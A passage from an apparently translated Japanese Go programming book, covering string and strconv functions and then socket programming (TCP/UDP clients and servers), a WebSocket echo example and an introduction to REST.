fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1))
//Output:oinky oinky oink
//moo moo moo

func Split(s, sep string) []string

sepによってs文字列を分割します。sliceを返します。

fmt.Printf("%q\n", strings.Split("a,b,c", ","))
fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a "))
fmt.Printf("%q\n", strings.Split(" xyz ", ""))
fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins"))
//Output:["a" "b" "c"]
//["" "man " "plan " "canal panama"]
//[" " "x" "y" "z" " "]
//[""]

func Trim(s string, cutset string) string

s文字列の先頭と末尾からcutsetで指定した文字列を除去する。

fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! "))
//Output:["Achtung"]

func Fields(s string) []string

s文字列の空白文字を除去し、空白に従って分割されたsliceを返します。

fmt.Printf("Fields are: %q", strings.Fields("  foo bar  baz   "))
//Output:Fields are: ["foo" "bar" "baz"]

文字列の変換

文字列を変換する関数はstrconvにあります。以下はそのうちよく使われるもののリストでしかありません：

Append シリーズの関数は整数などを文字列に変換した後、現在のバイト列に追加します。

package main

import (
    "fmt"
    "strconv"
)

func main() {
    str := make([]byte, 0, 100)
    str = strconv.AppendInt(str, 4567, 10)
    str = strconv.AppendBool(str, false)
    str = strconv.AppendQuote(str, "abcdefg")
    str = strconv.AppendQuoteRune(str, '单')
    fmt.Println(string(str))
}

Format シリーズの関数は他の型を文字列に変換します。

package main

import (
    "fmt"
    "strconv"
)

func main() {
    a := strconv.FormatBool(false)
    b := strconv.FormatFloat(123.23, 'g', 12, 64)
    c := strconv.FormatInt(1234, 10)
    d := strconv.FormatUint(12345, 10)
    e := strconv.Itoa(1023)
    fmt.Println(a, b, c, d, e)
}

Parse シリーズの関数は文字列をその他の型に変換します。

package main

import (
    "fmt"
    "strconv"
)
func checkError(e error){
    if e != nil{
        fmt.Println(e)
    }
}
func main() {
    a, err := strconv.ParseBool("false")
    checkError(err)
    b, err := strconv.ParseFloat("123.23", 64)
    checkError(err)
    c, err := strconv.ParseInt("1234", 10, 64)
    checkError(err)
    d, err := strconv.ParseUint("12345", 10, 64)
    checkError(err)
    e, err := strconv.Atoi("1023")
    checkError(err)
    fmt.Println(a, b, c, d, e)
}

Generated by md2min

7.7 まとめ

この章ではみなさんにXML、JSON、正規表現およびテンプレートの技術といったテキスト処理のツールをいくつかご紹介しました。XMLとJSONを使って様々な意味を表現することができます。正規表現ではテキストの検索/置換/切り取りといった処理を行うことができます。テンプレート技術を使うとこれらのデータをユーザに表示させることができます。これらはどれもWebアプリケーションを開発する過程で必要となる技術です。この節のご紹介を通じてどのようにテキストを処理、表示するかご理解いただけたかと思います。

Generated by md2min

8 Webサービス

目次

WebサービスではHTTPプロトコルの基礎の上にXMLまたはJSONを使って情報を交換することができるようになります。もし上海の天気予報やチャイナペトロの株価やタオバオの商店にある商品の情報を知りたいとすると、簡単なコードを少し書くことでこれらの情報を標準的なオープンインターフェースを介して取得することができます。ローカルで関数をコールすると値をひとつ返すのと同じようなものです。

Webサービスのバックエンドのキーはプラットフォームに依存しないことです。あなたはあなたのサービスをLinuxシステムで実行してもかまいませんし、他のWindowsのasp.netプログラムと交互に同様に一つのインターフェースを通じてFreeBSD上で実行されているJSPとなんの障害も無く通信することもできます。

現在主流となっているのは以下のいくつかのWebサービスです：REST、SOAP。

RESTリクエストはとても直感的です。なぜならRESTはHTTPプロトコルに基いた追加だからです。各リクエストはどれもHTTPリクエストです。異なるmethodに従って異なるロジックを処理します。多くのWeb開発者はいずれもHTTPプロトコルに詳しいので、RESTを学ぶことは比較的簡単でしょう。ですので我々は8.3節においてどのようにGo言語でRESTメソッドを実装するか詳細にご紹介します。

SOAPはW3Cのネットワークを超えた情報伝達とリモートコンピュータの関数呼び出し規約の標準のひとつです。しかしSOAPはとても複雑で、完全な規則は非常に長くなります。また内容はいまでも増加しています。Go言語は簡単さで有名ですのでSOAPのような複雑なものはここではご紹介しません。Go言語は生まれながらにしてとても良い、開発に便利なRPCメカニズムを提供しています。8.4節ではどのようにしてGo言語を使ってRPCを実装するか詳しくご紹介するつもりです。

Go言語は21世紀のC言語です。性能と簡単さを追求するため、8.1節ではどのようにしてSocketプログラミングを行うかご説明します。多くのゲームサービスはどれもSocketを採用してサーバをプログラムしています。HTTPプロトコルは比較的性能を必要とするものですので、Go言語がどのようにしてSocketプログラミングを行うのか見てみることにしましょう。現在HTML5の発展にしたがって、WebSocketも多くのゲーム会社が引き続き開発する手段の一つとなりつつあります。8.2節ではGo言語でどのようにしてWebSocketのコードをプログラムするかご説明します。

目次

Generated by md2min

8.1 Socketプログラミング

Socketとは何か？

Socketはどのようにして通信を行うか

Socketの基礎知識

IPv4アドレス

IPv6アドレス

GoでサポートされるIP形式

TCP Socket

TCP client

TCP server

TCP接続のコントロール

UDP Socket

まとめ

多くの低レイヤのネットワークアプリケーションの開発者の目には一切のプログラムがどれもSocketのように映ります。すこし大げさかもしれませんが、だいたいこのようなものです。現在のネットワークプログラミングはほぼすべてにおいてSocketを使用してプログラムされています。このような場面を考えたことはありませんか？毎日ブラウザを開いてページを閲覧する際、ブラウザプロセスはどのようにしてWebサーバと通信を行っているのでしょう？QQを使ってチャットする時、QQプロセスはどのようにしてサーバまたはあなたの友達がいるQQプロセスと通信を行なっているのでしょう？PPstreamを開いてストリーミング映像を見るとき、PPstreamプロセスはどのようにして動画サーバと通信を行っているのでしょう？このように、すべてはSocketに依存して通信を行なっています。ひとつを見てすべてを理解すると、Socketプログラミングは現代のプログラミングの中でも非常に多くの重要な地位を占めていることが見て取れます。この章ではGo言語においてどのようにSocketプログラミングを行うのかご紹介します。

Socketとは何か？

SocketはUnixを起源とします。Unixの基本哲学の一つは“すべてはファイルである”です。すべては“開くopen -> 読み書きwrite/read -> 閉じるclose”のパターンによって操作されます。Socketはこのパターンの実装の一つです。ネットワークのSocketデータ通信は特殊なI/Oの一つです。Socketもファイルディスクリプタの一種です。Socketもファイルを開く関数を持っています：Socket()。この関数はint型のSocketディスクリプタを返します。以後の接続の確立によってデータ転送といった操作はすべてこのSocketを通ることで実現されます。

よく使われるSocketには二種類があります：ストリームSocket（SOCKSTREAM）とデータグラムSocket（SOCKDGRAM）です。ストリームは接続指向のSocketの一種です。接続指向のTCPサービスアプリケーションに使用されます。またデータグラムSocketは無接続のSocketの一種です。接続の無いUDPサービスアプリケーションに利用されます。

Socketはどのようにして通信を行うか

ネットワークではプロセス間はどのようにしてSocketを使って通信を行うのでしょうか？まず解決しなければならない問題はどのようにユニークなプロセスのひとつを認識するのかということです。そうでなければ通信を始めることすらままなりません！ローカルでプロセスPIDを使って一つのプロセスを識別します。実はTCP/IPプロトコル族ではすでにこの問題を解決してくれています。ネットワーク層の“ipアドレス”はネットワーク上のホストを一意に認識しており、トランスポート層の“プロトコル+ポート”はホストのアプリケーションプログラム（プロセス）を一意に認識することができます。これら３つの組み合わせ（ipアドレス、プロトコル、ポート）を利用することで、ネットワークのプロセスを認識することができます。ネットワークにおいて通信を行う必要のあるプロセスはこのタグを利用して互い通信を行うことができます。以下のTCP/IPプロトコルの構造図をご覧ください。

図8.1 七階層のネットワークプロトコルの図

TCP/IPプロトコルを使用したアプリケーションプログラムは通常アプリケーションプログラムのポートを採用します：UNIX BSDのソケット（socket）とUNIX System VのTLI（すでに淘汰されています）によってネットワークプロセス間の通信を実現します。現在ではほぼすべてのアプリケーションプログラムではsocketが採用されています。現在はネットワーク時代で、ネットワークのプロセス通信はどこにでも存在します。“すべてがSocket”というのはこういうことです。

Socketの基礎知識

Socketには二種類存在することをご紹介しました：TCP SocketとUDP Socketです。TCPとUDPはプロトコルで、ひとつのプロセスを確定するためには３つの組が必要です。IPアドレスとポート番号が必要です。

IPv4アドレス

現在のインターネットが採用しているプロトコル族はTCP/IPプロトコルです。IPはTCP/IPプロトコルのネットワーク層のプロトコルです。TCP/IPプロトコル族のコアとなるプロトコルです。現在主に採用されているIPプロトコルのバージョンは4(簡単な呼び名はIPv4)です。現在まで30数年あまりに渡って使用されてきました。

IPv4のアドレスビット数は32ビットです。つまり多くても2の32乗のネットワーク機器がInternetに接続できることになります。ここ十年来インターネットの力強い発展にともなって、IPアドレスの需要は高まりつつあります。IPアドレスの割り当てはより厳しくなり、以前報道によるとIPV4のアドレスがすでに割り当てが終了しました。私達の会社に現在多く存在するサーバーのIPはどれも貴重な資源の一つとなっています。

アドレスの形式はこのようなものです：127.0.0.1 172.122.121.111

IPv6アドレス

IPv6は次のバージョンのインターネットプロトコルです。次世代のインターネットプロトコルといってもかまいません。これはIPv4の実施過程において発生した各種の問題を解決するために提案されたものです。IPv6は128ビットのアドレス長を採用しており、ほぼ無制限にアドレスを提供することができます。IPv6を実際に分配できるアドレスを計算すると、安く見積もっても地球上の1平方メートルの面積に1000以上のアドレスを割り当てることができます。IPv6の設計においては前もってアドレスの枯渇問題を解決した以外に、IPv4でうまく解決できなかったその他の問題についても考慮しています。主にエンドツーエンドのIP接続、クォリティオブサービス（QoS）、セキュリティ、マルチキャスト、モバイル性、プラグアンドプレイ等です。

アドレスの形式は以下のようになります：2002:c0e8:82e7:0:0:0:c0e8:82e7

GoでサポートされるIP形式

Goのnetパッケージではいくつもの型が定義されています。関数とメソッドはネットワークプログラミングを行うために使われます。この中でIPの定義は以下の通りです：

type IP []byte

netパッケージではたくさんの関数によってIPを操作します。しかし比較的使われるものは数個しかありません。このうちParseIP(s string) IP関数はIPv4またはIPv6のアドレスをIP型に変換します。下の例をご覧ください：

package main
import (
    "net"
    "os"
    "fmt"
)
func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s ip-addr\n", os.Args[0])
        os.Exit(1)
    }
    name := os.Args[1]
    addr := net.ParseIP(name)
    if addr == nil {
        fmt.Println("Invalid address")
    } else {
        fmt.Println("The address is ", addr.String())
    }
    os.Exit(0)
}

実行するとIPアドレスを入力することで対応するIP形式が出力されるのがお分かりいただけるかと思います。

TCP Socket

どのようにしてネットワークのポートからサービスにアクセスするか知っていれば、何ができるのでしょうか？クライアントからすれば、あるリモートの機器のあるネットワークポートに対してリクエストを一つ送信することによって、機器のこのポートを監視しているサーバのフィードバック情報を得ることができます。サーバからすると、サーバをある指定されたポートに紐付け、このポートを監視する必要があります。クライアントからアクセスがあった時情報を取得し、フィードバック情報を書き込むことになります。

Go言語のnetパッケージにはTCPConnという型があります。この型はクライアントとサーバ間のやりとりの通り道として使用することができます。これには主に２つの関数が存在します：

func (c *TCPConn) Write(b []byte) (n int, err os.Error)
func (c *TCPConn) Read(b []byte) (n int, err os.Error)

TCPConnはクライアントとサーバがデータを読み書きするのに使うことができます。

またTCPAddr型も知っておく必要があります。これはTCPのアドレス情報を示しています。この定義は以下の通り：

type TCPAddr struct {
    IP IP
    Port int
}

Go言語ではResolveTCPAddrを使ってひとつのTCPAddrを取得します。

func ResolveTCPAddr(net, addr string) (*TCPAddr, os.Error)

net引数は“tcp4”、“tcp6”、“tcp”の中の任意の一つです。それぞれTCP(IPv4-only),TCP(IPv6-only)とTCP(IPv4,IPv6の任意の一つ）を表しています。

addrはドメインまたはIPアドレスを示しています。例えば“www.google.com:80”または“127.0.0.1:22”です。

TCP client

Go言語ではnetパッケージのDialTCP関数によってTCP接続を一つ確立し、TCPConn型のオブジェクトを一つ返します。接続が確立した時サーバも同じ型のオブジェクトを作成します。この時クライアントとサーバは各自が持っているTCPConnオブジェクトを使ってデータのやりとりを行います。一般的に、クライアントはTCPConオブジェクトを使ってリクエスト情報をサーバに送信し、サーバのレスポンス情報を読み取ります。サーバはクライアントからのリクエストを読み取り、解析して、応答情報を返します。この接続はどちらかが接続を切断することによってのみ失効し、そうでなければこの接続はずっと使うことができます。接続を確立する関数の定義は以下のとおり：

func DialTCP(net string, laddr, raddr *TCPAddr) (c *TCPConn, err os.Error)

net引数は“tcp4”、“tcp6”、“tcp”の中の任意の一つです。それぞれTCP(IPv4-only),TCP(IPv6-only)とTCP(IPv4,IPv6の任意の一つ）を表しています。

laddrはローカルのアドレスを表しています。一般にはnilを設定します。

raddrはリモートのサーバアドレスを表しています。

ここでは簡単な例を一つ書いてみましょう。HTTPプロトコルに基づくクライアントによるWebサーバへのリクエストをエミュレートします。簡単なhttpリクエストヘッダを書く必要があります。形式は以下のようになります：

"HEAD / HTTP/1.0\r\n\r\n"

サーバから受け取るレスポンス情報の形式は以下のようになります：

HTTP/1.0 200 OK
ETag: "-9985996"
Last-Modified: Thu, 25 Mar 2010 17:51:10 GMT
Content-Length: 18074
Connection: close
Date: Sat, 28 Aug 2010 00:43:48 GMT
Server: lighttpd/1.4.23

我々のクライアントのコードは以下のようになります：

package main

import (
    "fmt"
    "io/ioutil"
    "net"
    "os"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s host:port ", os.Args[0])
        os.Exit(1)
    }
    service := os.Args[1]
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    conn, err := net.DialTCP("tcp", nil, tcpAddr)
    checkError(err)
    _, err = conn.Write([]byte("HEAD / HTTP/1.0\r\n\r\n"))
    checkError(err)
    result, err := ioutil.ReadAll(conn)
    checkError(err)
    fmt.Println(string(result))
    os.Exit(0)
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}

上のコードでわかることは：まずプログラムはユーザの入力を引数serviceとしてnet.ResolveTCPAddrに私、tcpAddrを一つ取得します。その後tcpAddrをDialTCPに渡し、TCP接続connを確立します。connを通してリクエスト情報を送信し、最後にioutil.ReadAllを通してconnからすべてのテキスト、つまりサーバのリクエストフィードバックの情報を取得します。

TCP server

上でTCPのクライアントプログラムを書きました。また、netパッケージを使ってサーバのプログラムを作成することもできます。サーバではサービスを指定のアクティベートされていないポートに紐付け、このポートを監視する必要があります。クライアントのリクエストが到着した時にクライアントから接続したリクエストを受け取ることができます。netパッケージには対応する機能の関数があります。関数の定義は以下のとおりです：

func ListenTCP(net string, laddr *TCPAddr) (l *TCPListener, err os.Error)
func (l *TCPListener) Accept() (c Conn, err os.Error)

引数の説明はDialTCPの引数と同じです。以下では簡単な時間同期サービスを実装しています。7777ポートを監視します。

package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":7777"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        daytime := time.Now().String()
        conn.Write([]byte(daytime)) // don't care about return value
        conn.Close()                // we're finished with this client
    }
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}

上のサービスは動かすと、ずっとそこで新しいクライアントがリクエストを送ってくるのを待っています。新しいクライアントのリクエストが届き、受け付けAcceptに同意すると、このリクエストの時現在の時刻情報をフィードバックします。注意すべきは、コードの中のforループです。エラーが発生した際、直接continueし、ループは抜けません。なぜならサーバがコードを走らせて、エラーが発生するような状況ではサーバにエラーを記録させ、現在接続しているクライアントは直接エラーを発生させてログアウトします。そのため、現在のサーバが実行しているサービス全体には影響を与えません。

上のコードには欠点があります。実行される際はひとつのタスクです。同時に複数のリクエストを受け取ることができません。ではどのようにして並列処理をサポートできるよう改造するのでしょうか？Goではgoroutineメカニズムがあります。下の改造後のコードをご覧ください。

package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":1200"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        go handleClient(conn)
    }
}

func handleClient(conn net.Conn) {
    defer conn.Close()
    daytime := time.Now().String()
    conn.Write([]byte(daytime)) // don't care about return value
    // we're finished with this client
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}

タスク処理を関数handleClinetに分離することで、一歩進んで並列実行を実現できるようになります。見た目にはあまりかっこ良くありません。goキーワードを追加することでサーバの並列処理を実現しました。この例からgoroutineの強力さを見ることができます。

こう思う方もおられるかもしれません：このサーバはクライアントが実際にリクエストしたコンテンツを処理していない。もしもクライアントから異なるリクエストで異なる時刻形式を求められ、しかも長時間に渡る接続だった場合どうすればよいのか？と。その場合は以下をご覧ください：

package main

import (
    "fmt"
    "net"
    "os"
    "time"
    "strconv"
)

func main() {
    service := ":1200"
    tcpAddr, err := net.ResolveTCPAddr("tcp4", service)
    checkError(err)
    listener, err := net.ListenTCP("tcp", tcpAddr)
    checkError(err)
    for {
        conn, err := listener.Accept()
        if err != nil {
            continue
        }
        go handleClient(conn)
    }
}

func handleClient(conn net.Conn) {
    conn.SetReadDeadline(time.Now().Add(2 * time.Minute)) // set 2 minutes timeout
    request := make([]byte, 128) // set maxium request length to 128KB to prevent flood attack
    defer conn.Close()  // close connection before exit
    for {
        read_len, err := conn.Read(request)

        if err != nil {
            fmt.Println(err)
            break
        }

        if read_len == 0 {
            break // connection already closed by client
        } else if string(request) == "timestamp" {
            daytime := strconv.FormatInt(time.Now().Unix(), 10)
            conn.Write([]byte(daytime))
        } else {
            daytime := time.Now().String()
            conn.Write([]byte(daytime))
        }

        request = make([]byte, 128) // clear last read content
    }
}

func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error: %s", err.Error())
        os.Exit(1)
    }
}

上の例ではconn.Read()を使用してクライアントが送信するリクエストを絶え間なく読み込んでいます。クライアントとの長時間接続を保持しなければならないため、一度のリクエストを読み終わった後も接続を切断することはできません。conn.SetReadDeadline()はタイムアウトを設定しているので、一定時間内にクライアントからリクエストが送られなければ、connは自動的に接続を切断します。下のforループは接続が切断されることによって抜け出します。注意しなければならないのは、requestは新規に作成される際にflood attackを防止するため最大の長さを指定しなければならないということです；毎回リクエストが読み込まれ処理が完了する度にrequestを整理しなければなりません。なぜならconn.Read()は新しく読み込んだ内容を元の内容の後にappendしてしまうかもしれないからです。

TCP接続のコントロール

TCPには多くの接続コントロール関数があります。我々が普段よく使うものは以下のいくつかの関数です：

func DialTimeout(net, addr string, timeout time.Duration) (Conn, error)

接続のタイムアウトを設定すると、クライアントとサーバのどちらにも適用されます。設定された時間が過ぎると、接続は自動的に切断されます。

func (c *TCPConn) SetReadDeadline(t time.Time) error
func (c *TCPConn) SetWriteDeadline(t time.Time) error

接続のタイムアウトへの書き込み/読み取りを設定するのに用いられます。接続は自動的に切断されます。

func (c *TCPConn) SetKeepAlive(keepalive bool) os.Error

クライアントがサーバと長時間接続を保つかどうか設定することで、TCP接続時のハンドシェイクのオーバーヘッドを減らすことができます。頻繁にデータをやりとりする必要のあるアプリケーションに適しています。

より詳しい内容についてはnetパッケージのドキュメントをご参照ください。

UDP Socket

Go言語におけるUDP SocketとTCP Socketの処理の違いはサーバで処理される複数のクライアントのリクエストデータパケットの方法です。UDPはクライアントの接続リクエストに対するAccept関数が欠けています。その他基本的にはほとんど同じです。TCPをただUDPに置き換えただけです。UDPの主ないくつかの関数は以下の通り：

func ResolveUDPAddr(net, addr string) (*UDPAddr, os.Error)
func DialUDP(net string, laddr, raddr *UDPAddr) (c *UDPConn, err os.Error)
func ListenUDP(net string, laddr *UDPAddr) (c *UDPConn, err os.Error)
func (c *UDPConn) ReadFromUDP(b []byte) (n int, addr *UDPAddr, err os.Error
func (c *UDPConn) WriteToUDP(b []byte, addr *UDPAddr) (n int, err os.Error)

UDPのクライアントコードは以下に示しています。違いはTCPをUDPに置き換えただけだとわかります。

package main

import (
    "fmt"
    "net"
    "os"
)

func main() {
    if len(os.Args) != 2 {
        fmt.Fprintf(os.Stderr, "Usage: %s host:port", os.Args[0])
        os.Exit(1)
    }
    service := os.Args[1]
    udpAddr, err := net.ResolveUDPAddr("udp4", service)
    checkError(err)
    conn, err := net.DialUDP("udp", nil, udpAddr)
    checkError(err)
    _, err = conn.Write([]byte("anything"))
    checkError(err)
    var buf [512]byte
    n, err := conn.Read(buf[0:])
    checkError(err)
    fmt.Println(string(buf[0:n]))
    os.Exit(0)
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
        os.Exit(1)
    }
}

UDPサーバがどのように処理するか見てみましょう；

package main

import (
    "fmt"
    "net"
    "os"
    "time"
)

func main() {
    service := ":1200"
    udpAddr, err := net.ResolveUDPAddr("udp4", service)
    checkError(err)
    conn, err := net.ListenUDP("udp", udpAddr)
    checkError(err)
    for {
        handleClient(conn)
    }
}
func handleClient(conn *net.UDPConn) {
    var buf [512]byte
    _, addr, err := conn.ReadFromUDP(buf[0:])
    if err != nil {
        return
    }
    daytime := time.Now().String()
    conn.WriteToUDP([]byte(daytime), addr)
}
func checkError(err error) {
    if err != nil {
        fmt.Fprintf(os.Stderr, "Fatal error ", err.Error())
        os.Exit(1)
    }
}

まとめ

TCPとUDP Socketプログラミングの描写と実装を通して、GoはすでにSocketプログラミングを完全にサポートしていることがお分かりいただけたかと思います。使用に際してもとても便利です。Goはたくさんの関数を提供しています。これらの関数を使って簡単に高性能なSocketアプリケーションを書くことができます。

Generated by md2min

8.2 WebSocket

WebSocketの原理

GoによるWebSocketの実装

WebSocketはHTML5の重要な特徴です。これはブラウザに基づいたリモートsocketを実現します。ブラウザとサーバが全二重通信することができ、多くのブラウザ（Firefox、Google ChromeとSafari）ではすでにサポートされています。

WebSocketが現れる前はリアルタイム通信を実現するために、“ポーリング”とよばれる技術が全面的に採用されていました。すなわち、特定の時間間隔においてブラウザがサーバに対しHTTP Requestを送信し、サーバはリクエストを受け取った後、最新のデータをブラウザに返してリロードします。“ポーリング”ではブラウザがサーバに対して絶え間なくリクエストを送っており、大量の帯域幅を占有します。

WebSocketは特殊なパケットヘッダを採用しています。ブラウザとサーバはハンドシェイクの動作のみを必要とするだけで、ブラウザとサーバ間で接続チャンネルを確立することができます。またこの接続では活動状態が保持され、JavaScriptを使用することでコネクションに書き込むことも、中からデータを取り出すこともできます。通常のTCP Scoketを使用するのと同じようなものです。これはWebのリアルタイム化の問題を解決しています。伝統的なHTTPに比べ下のようなメリットがあります：

WebクライアントはTCP接続を確立するだけです

Websocketサーバーはデータをwebクライアントにプッシュ(push)できます

軽いヘッダによりデータの転送量を抑えます。

WebSocket URLのはじめの入力はws://またはwss://（SSL上で）です。下の図はWebSocketの通信課程を示しています。特定のヘッダを伴ったHTTPハンドシェイクがサーバに送信され、サーバまたはクライアントはJavaScriptを使って何らかのソケット（socket）を使用します。このインターフェースはイベントを通して非同期にデータを受け取ることができます。

図8.2 WebSocketの原理図

WebSocketの原理

WebSocketのプロトコルは実に簡単です。はじめのhandshakeが通った後、接続の確立に成功します。この後のデータの通信はすべて“\x00”から始まり、“\xFF”で終わります。クライアントではこれは透明です。WebSocketモジュールは自動的にオリジナルのデータから大事なところを残してあとは取り除いてくれます。

ブラウザがWebSocketの接続リクエストを送信すると、サーバはレスポンスを送信します。その後接続の確立に成功します。この過程を通常“ハンドシェイク”(handshaking)と呼びます。下のリクエストとフィードバック情報をご覧ください：

図8.3 WebSocketのrequestとresponse情報

リクエストの“Sec-WebSocket-Key”はランダムです。日々エンコーディングとやりあっているプログラマにはひと目で分かります：これはbase64エンコードが施されたデータで、サーバはこのリクエストを受け取った後この文字列を固定の文字列に連結させる必要があります：

258EAFA5-E914-47DA-95CA-C5AB0DC85B11

すなわち、f7cb4ezEAl6C3wRaU6JORA==を上の固定の文字列に連結し、このような文字列を生成します：

f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11

この文字列に対しまずsha1セキュリティハッシュアルゴリズムを使って2進数の値を計算します。その後base64を使ってこれをエンコードし、ハンドシェイク後の文字列を得ることができます：

rE91AJhfC+6JdVcVXOGJEADEJdQ=

これをレスポンスヘッダSec-WebSocket-Acceptの値としてクライアントに返します。

GoによるWebSocketの実装

Go言語の標準パッケージにはWebSocketに対するサポートはありません。しかしオフィシャルでメンテナンスされているgo.netサブパッケージにはこれに対するサポートがあります。以下のようなコマンドによってこのパッケージを取得することができます：

go get code.google.com/p/go.net/websocket

WebSocketはクライアントとサーバに分けられます。ここでは簡単な例を実現します：ユーザが情報を入力し、クライアントはWebSocketを通じて情報をサーバに送信します。サーバが情報を受け取った後主動的に情報をクライアントにPushします。クライアントは受け取った情報を出力します。クライアントのコードは以下のとおり：

<html>
<head></head>
<body>
    <script type="text/javascript">
        var sock = null;
        var wsuri = "ws://127.0.0.1:1234";

        window.onload = function() {

            console.log("onload");

            sock = new WebSocket(wsuri);

            sock.onopen = function() {
                console.log("connected to " + wsuri);
            }

            sock.onclose = function(e) {
                console.log("connection closed (" + e.code + ")");
            }

            sock.onmessage = function(e) {
                console.log("message received: " + e.data);
            }
        };

        function send() {
            var msg = document.getElementById('message').value;
            sock.send(msg);
        };
    </script>
    <h1>WebSocket Echo Test</h1>
    <form>
        <p>
            Message: <input id="message" type="text" value="Hello, world!">
        </p>
    </form>
    <button onclick="send();">Send Message</button>
</body>
</html>

クライアントのJSを見ると、WebSocket関数を使って簡単にサーバと接続するsockを作成することができると分かります。ハンドシェイクが成功した後、WebScoketオブジェクトのonopenイベントが呼ばれ、クライアントの接続の確立が成功したことを伝えます。クライアントでは４つのイベントを結びつけています。

1）onopen 接続を確立すると呼ばれます

2）onmessage 情報を受取ると呼ばれます

3）onerror エラーが発生した時に呼ばれます

4）onclose 接続を閉じた際に呼ばれます

我々のサーバの実装は以下の通り：

package main

import (
    "code.google.com/p/go.net/websocket"
    "fmt"
    "log"
    "net/http"
)

func Echo(ws *websocket.Conn) {
    var err error

    for {
        var reply string

        if err = websocket.Message.Receive(ws, &reply); err != nil {
            fmt.Println("Can't receive")
            break
        }

        fmt.Println("Received back from client: " + reply)

        msg := "Received:  " + reply
        fmt.Println("Sending to client: " + msg)

        if err = websocket.Message.Send(ws, msg); err != nil {
            fmt.Println("Can't send")
            break
        }
    }
}

func main() {
    http.Handle("/", websocket.Handler(Echo))

    if err := http.ListenAndServe(":1234", nil); err != nil {
        log.Fatal("ListenAndServe:", err)
    }
}

クライアントがユーザの入力した情報をSendした後、サーバはReceiveを通して対応する情報を受け取ります。その後Sendを通して応答情報を送信します。

図8.4 WebSocketサーバが受け取った情報

上の例でクライアントとサーバでWebSocketを実装するのが非常に簡単だとわかりました。Goのソースコードのnetブランチではすでにこのプロトコルが実装されており、直接持ってきて使用することができます。現在HTML5の発展にしたがって将来WebSocketがWeb開発にとって重要になると考えています。我々はこの方面の知識を蓄える必要があります。

Generated by md2min

8.3 REST

RESTとは何か

RESTfulの実装

まとめ

RESTful、とは現在もっとも流行しているインターネットソフトウェアフレームワークです。構造が明瞭で、標準に合っており、理解しやすく、拡張に便利です。そのため、まさに多くのホームページで採用されつつあります。この節ではこれが一体どのようなフレームワークなのか、Goではどのようにして実現するのかを学んでいきます。

RESTとは何か

REST(Representational State Transfer)という概念は2000年Roy Thomas Fielding（彼はHTTP仕様の主な著者の一人です。）の博士論文の中で初めて登場しました。この中ではあるフレームワークの制約条件と原則について触れています。これらの制約条件と原則を満足したアプリケーションまたは設計はRESTfulということです。

RESTが何かを理解するためには、以下のようないくつかの概念を理解する必要があります：

リソース（Resources） RESTは“プレゼンテーション層の状態遷移”です。これは主語が省略されています。“プレゼンテーション層”というのは“リソース”の“プレゼンテーション層”です。

ではリソースとは何でしょうか？普段我々がアクセスする画像、ドキュメント、映像等です。これらのリソースはURIによって特定されます。つまりひとつのURIがひとつのリソースを表しています。

プレゼンテーション層（Representation）

リソースはある具体的な実体を伴う情報を作成します。これはいくつもの表現方法を持っており、実体の表現こそがプレゼンテーション層です。例えばtxtテキスト情報があれば、これはhtml、json、xml等の形式に出力することができます。画像はjpg、png等の方法で表現することができます。これがプレゼンテーション層の意味です。

URIはひとつのリソースを確定します。しかしどのようにこの具体的な表現形式を確定するのでしょうか？HTTPリクエストのヘッダ情報においてAcceptとContent-Typeフィールドを用いて指定されているはずです。この２つのフィールドこそが“プレゼンテーション層”に対する描写なのです。

状態遷移（State Transfer）

あるホームページにアクセスすることは、クライアントがサーバとインタラクティブな過程を表しています。この過程の中では必ずデータと状態遷移が関わってきます。HTTPプロトコルはステートレスですので、これらの状態はサーバに保存されているはずです。そのため、もしクライアントがサーバにデータの変更と状態遷移を通知したい場合は、なんらかの方法によってこれを通知する必要があります。

クライアントがサーバに通知する手段はHTTPプロトコルしかありません。具体的にはHTTPプロトコルの中にある４つの操作方法を表す動詞：GET、POST、PUT、DELETEです。これらは４つの基本操作に分かれます：GETはリソースを取得するのに使われます。POSTはリソースを新規に作成するために使われます（リソースの更新に使うこともできます）。PUTは資源の更新に使われます。DELETEは資源の削除に使われます。

上の解釈を総合して、RESTfulフレームワークとは何かまとめてみます：

（1）各URIがひとつのリソースを表す

（2）クライアントとサーバ間で、これらの資源の何かしらのプレゼンテーション層を転送する

（3）クライアントは４つのHTTPの動詞を通して、サーバの資源に対し操作を行う。“プレゼンテーション層の状態遷移”の実現。

Webアプリケーションが満たすべきRESTの最も重要なルールは：クライアントとサーバ間のやりとりにおいてリクエスト間はステートレスだということです。すなわち、クライアントからサーバへの各リクエストはすべてリクエストが必要としている情報を含んでいなければなりません。もしサーバがリクエスト間のいかなる時点で再起動しても、クライアントはその通知を受けることができません。また、このリクエストはどのような利用できるサーバからによっても回答できます。これはクラウドコンピューティングといった環境に十分適しています。ステートレスですので、クライアントはデータをキャッシュすることで性能を改善することができます。

